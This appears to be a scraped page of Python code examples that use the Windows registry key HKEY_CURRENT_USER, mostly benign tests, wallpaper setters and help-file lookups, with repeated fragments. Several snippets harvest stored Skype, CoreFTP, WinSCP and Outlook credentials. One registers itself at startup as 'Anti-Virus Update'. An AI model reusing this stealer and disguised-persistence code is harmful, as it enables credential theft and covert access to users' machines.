def testValues(self):
key_name = r'PythonTestHarness\win32api'
## tuples containing value name, value type, data
values=(
(None, win32con.REG_SZ, 'This is default unnamed value'),
('REG_SZ', win32con.REG_SZ,'REG_SZ text data'),
('REG_EXPAND_SZ', win32con.REG_EXPAND_SZ, '%systemdir%'),
## REG_MULTI_SZ value needs to be a list since strings are returned as a list
('REG_MULTI_SZ', win32con.REG_MULTI_SZ, ['string 1','string 2','string 3','string 4']),
('REG_MULTI_SZ_empty', win32con.REG_MULTI_SZ, []),
('REG_DWORD', win32con.REG_DWORD, 666),
('REG_QWORD', win32con.REG_QWORD, 2**33),
('REG_BINARY', win32con.REG_BINARY, str2bytes('\x00\x01\x02\x03\x04\x05\x06\x07\x08\x01\x00')),
)
hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, key_name)
for value_name, reg_type, data in values:
win32api.RegSetValueEx(hkey, value_name, None, reg_type, data)
for value_name, orig_type, orig_data in values:
data, typ=win32api.RegQueryValueEx(hkey, value_name)
self.assertEqual(typ, orig_type)
self.assertEqual(data, orig_data)
python类HKEY_CURRENT_USER的实例源码
def GetDefaultProfileName():
import win32api, win32con
try:
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles")
try:
return win32api.RegQueryValueEx(key, "DefaultProfile")[0]
finally:
key.Close()
except win32api.error:
return None
#
# Recursive dump of folders.
#
def test1(self):
# This used to leave a stale exception behind.
def reg_operation():
hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, self.key_name)
x = 3/0 # or a statement like: raise 'error'
# do the test
try:
try:
try:
reg_operation()
except:
1/0 # Force exception
finally:
win32api.RegDeleteKey(win32con.HKEY_CURRENT_USER, self.key_name)
except ZeroDivisionError:
pass
def testNotifyChange(self):
def change():
hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, self.key_name)
try:
win32api.RegSetValue(hkey, None, win32con.REG_SZ, "foo")
finally:
win32api.RegDeleteKey(win32con.HKEY_CURRENT_USER, self.key_name)
evt = win32event.CreateEvent(None,0,0,None)
## REG_NOTIFY_CHANGE_LAST_SET - values
## REG_CHANGE_NOTIFY_NAME - keys
## REG_NOTIFY_CHANGE_SECURITY - security descriptor
## REG_NOTIFY_CHANGE_ATTRIBUTES
win32api.RegNotifyChangeKeyValue(win32con.HKEY_CURRENT_USER,1,win32api.REG_NOTIFY_CHANGE_LAST_SET,evt,True)
ret_code=win32event.WaitForSingleObject(evt,0)
# Should be no change.
self.failUnless(ret_code==win32con.WAIT_TIMEOUT)
change()
# Our event should now be in a signalled state.
ret_code=win32event.WaitForSingleObject(evt,0)
self.failUnless(ret_code==win32con.WAIT_OBJECT_0)
def get_regkey(self):
try:
accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
keyPath = 'Software\\Skype\\ProtectedStorage'
try:
hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
except Exception, e:
print e
return ''
num = win32api.RegQueryInfoKey(hkey)[1]
k = win32api.RegEnumValue(hkey, 0)
if k:
key = k[1]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
except Exception, e:
print e
return 'failed'
# get hash from configuration file
def test1(self):
# This used to leave a stale exception behind.
def reg_operation():
hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, self.key_name)
x = 3/0 # or a statement like: raise 'error'
# do the test
try:
try:
try:
reg_operation()
except:
1/0 # Force exception
finally:
win32api.RegDeleteKey(win32con.HKEY_CURRENT_USER, self.key_name)
except ZeroDivisionError:
pass
def testNotifyChange(self):
def change():
hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, self.key_name)
try:
win32api.RegSetValue(hkey, None, win32con.REG_SZ, "foo")
finally:
win32api.RegDeleteKey(win32con.HKEY_CURRENT_USER, self.key_name)
evt = win32event.CreateEvent(None,0,0,None)
## REG_NOTIFY_CHANGE_LAST_SET - values
## REG_CHANGE_NOTIFY_NAME - keys
## REG_NOTIFY_CHANGE_SECURITY - security descriptor
## REG_NOTIFY_CHANGE_ATTRIBUTES
win32api.RegNotifyChangeKeyValue(win32con.HKEY_CURRENT_USER,1,win32api.REG_NOTIFY_CHANGE_LAST_SET,evt,True)
ret_code=win32event.WaitForSingleObject(evt,0)
# Should be no change.
self.failUnless(ret_code==win32con.WAIT_TIMEOUT)
change()
# Our event should now be in a signalled state.
ret_code=win32event.WaitForSingleObject(evt,0)
self.failUnless(ret_code==win32con.WAIT_OBJECT_0)
def SetWallpaper(imagePath, fillType='fill'):
tile = "0"
if fillType == "tile":
fillType = "center"
tile = "1"
fillDict = {
"fill": "10",
"fit": "6",
"Stretch": "2",
"center": "0",
"span": "22"
}
style = fillDict[fillType]
key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER,
r"Control Panel\Desktop", 0,
win32con.KEY_SET_VALUE)
win32api.RegSetValueEx(key, "WallpaperStyle", 0, win32con.REG_SZ, style)
win32api.RegSetValueEx(key, "TileWallpaper", 0, win32con.REG_SZ, tile)
win32gui.SystemParametersInfo(
win32con.SPI_SETDESKWALLPAPER, imagePath, 1 + 2)
# main script
def get_regkey(self):
try:
accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
keyPath = 'Software\\Skype\\ProtectedStorage'
try:
hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
except Exception, e:
# print e
return ''
num = win32api.RegQueryInfoKey(hkey)[1]
k = win32api.RegEnumValue(hkey, 0)
if k:
key = k[1]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
except Exception, e:
# print e
return 'failed'
# get hash from configuration file
def __init__(self):
# variable to write a flat file
self.fileHandle = None
self.HKEY_CLASSES_ROOT = win32con.HKEY_CLASSES_ROOT
self.HKEY_CURRENT_USER = win32con.HKEY_CURRENT_USER
self.HKEY_LOCAL_MACHINE = win32con.HKEY_LOCAL_MACHINE
self.HKEY_USERS = win32con.HKEY_USERS
self.FILE_PATH = "//masblrfs06/karcherarea$/workarea/nishitg/"+ win32api.GetComputerName()
self.CONST_OS_SUBKEY = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
self.CONST_PROC_SUBKEY = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
self.CONST_SW_SUBKEY = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
def setWallPaperFromBmp(bmp):
key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, 'Control Panel\\Desktop', 0, win32con.KEY_SET_VALUE)
win32api.RegSetValueEx(key, 'WallpaperStyle', 0, win32con.REG_SZ,'0')
win32api.RegSetValueEx(key, 'TileWallpaper', 0, win32con.REG_SZ, '0')
win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, bmp, 1+2)
def GetRootKey():
"""Retrieves the Registry root in use by Python.
"""
keyname = BuildDefaultPythonKey()
try:
k = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyname)
k.close()
return win32con.HKEY_CURRENT_USER
except win32api.error:
return win32con.HKEY_LOCAL_MACHINE
def GetRegisteredHelpFile(helpDesc):
"""Given a description, return the registered entry.
"""
try:
return GetRegistryDefaultValue(BuildDefaultPythonKey() + "\\Help\\" + helpDesc)
except win32api.error:
try:
return GetRegistryDefaultValue(BuildDefaultPythonKey() + "\\Help\\" + helpDesc, win32con.HKEY_CURRENT_USER)
except win32api.error:
pass
return None
def __init__(self, logCallback):
MSstore = r"Software\Microsoft\SystemCertificates"
GPstore = r"Software\Policy\Microsoft\SystemCertificates"
self.regKeys = {
"CU_STORE": [reg.HKEY_CURRENT_USER, MSstore],
"LM_STORE": [reg.HKEY_LOCAL_MACHINE, MSstore],
"USER_STORE": [reg.HKEY_USERS, MSstore],
"CU_POLICY_STORE": [reg.HKEY_CURRENT_USER, GPstore],
"LM_POLICY_STORE": [reg.HKEY_LOCAL_MACHINE, GPstore]
}
self.logCallback = logCallback
def _watch_thread_dispatcher(self):
MSstore = r"Software\Microsoft\SystemCertificates"
GPstore = r"Software\Policy\Microsoft\SystemCertificates"
regKeys = {
"CU_STORE": [win32con.HKEY_CURRENT_USER, MSstore],
"LM_STORE": [win32con.HKEY_LOCAL_MACHINE, MSstore],
"USER_STORE": [win32con.HKEY_USERS, MSstore],
"CU_POLICY_STORE": [win32con.HKEY_CURRENT_USER, GPstore],
"LM_POLICY_STORE": [win32con.HKEY_LOCAL_MACHINE, GPstore]
}
watchKeys = self.database.get_watch_keys()
for regKey in watchKeys:
self._log("Dispatcher preparing watch thread for key: %s" % regKey, messageType="DEBUG")
key = regKey.split("/")
storeName = key.pop(0)
additionalValue = "\\%s" % "\\".join(key)
keystore = regKeys[storeName]
keyName = keystore[1] + additionalValue
t = threading.Thread(target=self._watch_thread, args=(keystore[0], keyName, regKey,
self._watch_thread_callback,))
self.watchThreads.append(t)
self._log("Thread prepared.", messageType="DEBUG")
self._log("Launching %d threads..." % len(self.watchThreads), messageType="DEBUG")
for t in self.watchThreads:
t.start()
self._log("Dispatcher completed.", messageType="DEBUG")
return
def setWallpaper(self,fontsize=22,verticalspacing=26,leftmargin=800):
if self.__setimage(fontsize,verticalspacing,leftmargin)=="FilePathError":
return "FilePathError"
k = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER,"Control Panel\\Desktop",0,win32con.KEY_SET_VALUE)
win32api.RegSetValueEx(k, "WallpaperStyle", 0, win32con.REG_SZ, "2")
win32api.RegSetValueEx(k, "TileWallpaper", 0, win32con.REG_SZ, "0")
win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, self.wallpaperpath, 1+2)
def GetDefaultProfileName():
import win32api, win32con
try:
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles")
try:
return win32api.RegQueryValueEx(key, "DefaultProfile")[0]
finally:
key.Close()
except win32api.error:
return None
#
# Recursive dump of folders.
#
def add_to_registry(self): # add to startup registry
hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run")
win32api.RegSetValueEx(hkey, 'Anti-Virus Update', 0, win32con.REG_SZ, __file__)
win32api.RegCloseKey(hkey)
def GetRootKey():
"""Retrieves the Registry root in use by Python.
"""
keyname = BuildDefaultPythonKey()
try:
k = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyname)
k.close()
return win32con.HKEY_CURRENT_USER
except win32api.error:
return win32con.HKEY_LOCAL_MACHINE
def GetRegisteredHelpFile(helpDesc):
"""Given a description, return the registered entry.
"""
try:
return GetRegistryDefaultValue(BuildDefaultPythonKey() + "\\Help\\" + helpDesc)
except win32api.error:
try:
return GetRegistryDefaultValue(BuildDefaultPythonKey() + "\\Help\\" + helpDesc, win32con.HKEY_CURRENT_USER)
except win32api.error:
pass
return None
def ListAllHelpFiles():
ret = []
ret = _ListAllHelpFilesInRoot(win32con.HKEY_LOCAL_MACHINE)
# Ensure we don't get dups.
for item in _ListAllHelpFilesInRoot(win32con.HKEY_CURRENT_USER):
if item not in ret:
ret.append(item)
return ret
def GetDefaultProfileName():
import win32api, win32con
try:
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles")
try:
return win32api.RegQueryValueEx(key, "DefaultProfile")[0]
finally:
key.Close()
except win32api.error:
return None
#
# Recursive dump of folders.
#
def check_winscp_installed(self):
accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
try:
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,
'Software\Martin Prikryl\WinSCP 2\Configuration\Security', 0, accessRead)
return True
except Exception, e:
return False
def check_masterPassword(self):
accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Configuration\Security',
0, accessRead)
thisName = str(win32api.RegQueryValueEx(key, 'UseMasterPassword')[0])
if thisName == '0':
return False
else:
return True
def get_key_info(self):
accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
try:
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites', 0, accessRead)
except Exception, e:
return False
num_profiles = win32api.RegQueryInfoKey(key)[0]
pwdFound = []
for n in range(num_profiles):
name_skey = win32api.RegEnumKey(key, n)
skey = win32api.RegOpenKey(key, name_skey, 0, accessRead)
num = win32api.RegQueryInfoKey(skey)[1]
values = {}
for nn in range(num):
k = win32api.RegEnumValue(skey, nn)
if k[0] == 'Host':
values['Host'] = k[1]
if k[0] == 'Port':
values['Port'] = k[1]
if k[0] == 'User':
values['User'] = k[1]
pwdFound.append(values)
if k[0] == 'PW':
try:
values['Password'] = self.decrypt(k[1])
except Exception, e:
values['Password'] = 'N/A'
# print the results
return pwdFound
def run(self):
accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
keyPath = 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook'
try:
hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
except Exception, e:
return
num = win32api.RegQueryInfoKey(hkey)[0]
pwdFound = []
for x in range(0, num):
name = win32api.RegEnumKey(hkey, x)
skey = win32api.RegOpenKey(hkey, name, 0, accessRead)
num_skey = win32api.RegQueryInfoKey(skey)[0]
if num_skey != 0:
for y in range(0, num_skey):
name_skey = win32api.RegEnumKey(skey, y)
sskey = win32api.RegOpenKey(skey, name_skey, 0, accessRead)
num_sskey = win32api.RegQueryInfoKey(sskey)[1]
for z in range(0, num_sskey):
k = win32api.RegEnumValue(sskey, z)
if 'password' in k[0].lower():
values = self.retrieve_info(sskey, name_skey)
# write credentials into a text file
if len(values) != 0:
pwdFound.append(values)
# print the results
return pwdFound
def _GetRegistryValue(key, val, default = None):
# val is registry value - None for default val.
try:
hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, key)
return win32api.RegQueryValueEx(hkey, val)[0]
except win32api.error:
try:
hkey = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, key)
return win32api.RegQueryValueEx(hkey, val)[0]
except win32api.error:
return default
def ListAllHelpFiles():
ret = []
ret = _ListAllHelpFilesInRoot(win32con.HKEY_LOCAL_MACHINE)
# Ensure we don't get dups.
for item in _ListAllHelpFilesInRoot(win32con.HKEY_CURRENT_USER):
if item not in ret:
ret.append(item)
return ret
def GetRootKey():
"""Retrieves the Registry root in use by Python.
"""
keyname = BuildDefaultPythonKey()
try:
k = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyname)
k.close()
return win32con.HKEY_CURRENT_USER
except win32api.error:
return win32con.HKEY_LOCAL_MACHINE
def GetRegisteredHelpFile(helpDesc):
"""Given a description, return the registered entry.
"""
try:
return GetRegistryDefaultValue(BuildDefaultPythonKey() + "\\Help\\" + helpDesc)
except win32api.error:
try:
return GetRegistryDefaultValue(BuildDefaultPythonKey() + "\\Help\\" + helpDesc, win32con.HKEY_CURRENT_USER)
except win32api.error:
pass
return None